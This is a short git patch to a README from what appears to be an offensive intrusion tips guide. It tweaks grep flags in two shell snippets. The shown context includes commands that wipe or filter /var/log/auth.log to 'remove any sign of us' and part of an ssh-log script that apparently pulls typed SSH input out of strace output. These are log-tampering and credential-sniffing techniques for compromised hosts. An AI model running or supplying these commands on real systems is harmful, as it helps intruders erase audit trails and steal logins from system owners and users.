From 598df70955bb2986278ac7af133215bbb5b88137 Mon Sep 17 00:00:00 2001 From: SkyperTHC <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 24 Dec 2022 22:47:53 +0000 Subject: [PATCH] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 7e1d72a..3cb4d23 100644 --- a/README.md +++ b/README.md @@ -741,7 +741,7 @@ cat /dev/null >/var/log/auth.log This will remove any sign of us from the log file: ```sh cd /dev/shm -grep -v 'thc\.org' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log +grep -Fv 'thc.org' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log ``` @@ -889,7 +889,7 @@ __EOF__ cat <<__EOF__ >~/.local/bin/ssh-log #! /bin/bash -grep 'read(4' | cut -f2 -d\\" | while read -r x; do +grep -F 'read(4' | cut -f2 -d\\" | while read -r x; do [[ \${#x} -gt 5 ]] && continue [[ \${x} == +(\\\\n|\\\\r) ]] && { echo ""; continue; } echo -n "\${x}"